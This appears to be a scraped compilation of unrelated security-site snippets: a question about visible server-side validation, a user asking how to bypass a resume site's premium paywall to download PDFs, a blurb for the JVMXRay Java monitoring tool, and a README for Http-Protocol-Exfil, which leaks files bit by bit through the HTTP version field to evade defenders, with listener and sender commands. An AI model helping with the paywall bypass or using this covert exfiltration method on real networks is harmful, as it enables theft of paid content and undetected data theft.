Input validation on server side can be seen on http response
It's a good practice to perform input validation on server side as end user can't tamper with it. However, there have been a cases where this validation can be seen via http response in JSON form or JavaScript.
Even though this is better than client side validation alone, I believe this is still a bad security practice as end user can see what is being filtered and what is not.
What is your recommendation for a cases like this?

I want to download paid pdfs from this website for free, Any Idea how I can go about doing that?
So basically, I made a resume on https://novoresume.com/ but some templates aren't free, do you have any idea how I can bypass their premium upgrade and download the pdf for free? Maybe a tool or something that'll scan the website or url and find the pdf and download it? Sorry if this is not clear, I'm new to this.

JVMXRay - Make Java Security Events Of Interest Visible For Analysis
JVMXRay is a technology for monitoring access to system resources within the Java Virtual Machine. It’s designed with application security emphasis but some will also find it beneficial for software quality processes and diagnostics.More about Oracle Java Duke mascot... Contact/Chat GroupNew chat information forthcoming.BenefitsFollowing is a quick list of some of the more important benefits.Identify protected resourcesTrack different types of events of interest related to sockets, files, process execution, and more. When an event of interest occurs, process it as you wish. At the moment, adaptors for the system console (e.g., System.out), logback, and Java Logging, are available with others in process.No code changes requiredJVMXRay does not require any changes to your application source code to work. The code is pulled into the JVM by a command line option. The solution is 100% Java code so it runs anywhere.Supply chain insightsAn ancilary benefit of not requiring source code is that JVMXRay provides insight into your applications dependencies including 3rd party libraries (e.g. Jar files). Events provide the source of origin where your classes where loaded when the event is generated.Extensible & OpenDon't see an adapter or filter that works for you and know how to code? Roll up your sleeves and write one. It's extensible. Fix a bug and submit a pull requrest. All the source code is available.INFORMATION:Consider this early stage code. Thar be dragons mate.

Http-Protocol-Exfil : Exfiltrate Files Using The HTTP Protocol Version (“HTTP/1.0” Is A 0 And “HTTP/1.1” Is A 1)
Http-Protocol-Exfil uses HTTP protocol version to send a file bit by bit (“HTTP/1.0” is a 0 and “HTTP/1.1” is a 1). It uses GET requests so the Blue Team would only see the requests to your IP address. However, it takes a long time to send bigger files, for example it needs 1 hour to send 200 KB, and the amount of requests would be very high (8 times the number of bytes of the file).
Create Listener
To run the listener use listener.py with one optional argument: the port it will be listening in.
python3 listener.py [PORT]
Example:
python3 listener.py 8080
Send a file
To send a file use sender.py with two mandatory arguments: the file path and the url of the listener; and one optional argument: the name of the file created remotely (if not used, the name of the input file is used).
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
Example:
python3 sender.py -u “http://127.0.0.1:8080” -i test.txt -o updated_test.txt
Example
First the file is sent:

If the variable debug is set to True (it is by default) you can see the binary values in the listener log messages:
